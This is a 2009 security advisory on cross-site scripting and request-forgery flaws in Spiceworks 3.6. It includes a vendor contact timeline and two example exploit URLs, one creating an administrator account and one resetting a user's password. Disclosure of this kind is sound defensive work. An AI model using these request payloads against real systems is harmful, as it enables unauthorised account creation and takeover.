[NGENUITY] - Spiceworks Multiple Vulnerabilities (XSS & CSRF)

nGenuity Information Services - Security Advisory

   Advisory ID: NGENUITY-2009-009 - Spiceworks Multiple Vulnerabilities
(XSS & CSRF)
   Application: Spiceworks 3.6.31847
        Vendor: Spiceworks
Vendor website: http://www.spiceworks.com
        Author: Adam Baldwin (adam_baldwin@ngenuity-is.com)
         Class: XSS, CSRF

  I. BACKGROUND
     Spiceworks is a network management, monitoring, helpdesk, etc
application that
     uses a web based front end.

 II. DETAILS
     Multiple vulnerabilities exist within the Spiceworks platform that
can be used
     to take over or otherwise abuse the application / infrastructure.

     These vulnerabilities allow for the following attack scenarios to
be executed.

     1. Creation of a new Administrator account
     2. Password reset of users

     Exploit Examples:
     Create Administrator Account:
http://example.com/settings/users/create?user%5Bfirst_name%5D=Joe&user%5Bla
st_name%5D=Nobody&user%5Bemail%5D=user%40example.com&user%5Brole%5D=admin&us
er%5Bpassword%5D=PASSWORD&user%5Bpassword_confirmation%5D=PASSWORD

     User Password Reset:
http://example.com/settings/users/change_password/1?user%5Bpassword%5D=PASSWORD
&editorId=password_entry_for_1

III. REFERENCES
     [1] - http://www.spiceworks.com
     [2] - http://cwe.mitre.org/data/definitions/79.html
     [3] - http://cwe.mitre.org/data/definitions/352.html

 IV. VENDOR COMMUNICATION
     4.1.2009 - Vulnerability Discovery & Vendor Notification
     4.6.2009 - Second attempt to contact vendor
     4.7.2009 - Initial vendor response
     8.8.2009 - Advisory Release

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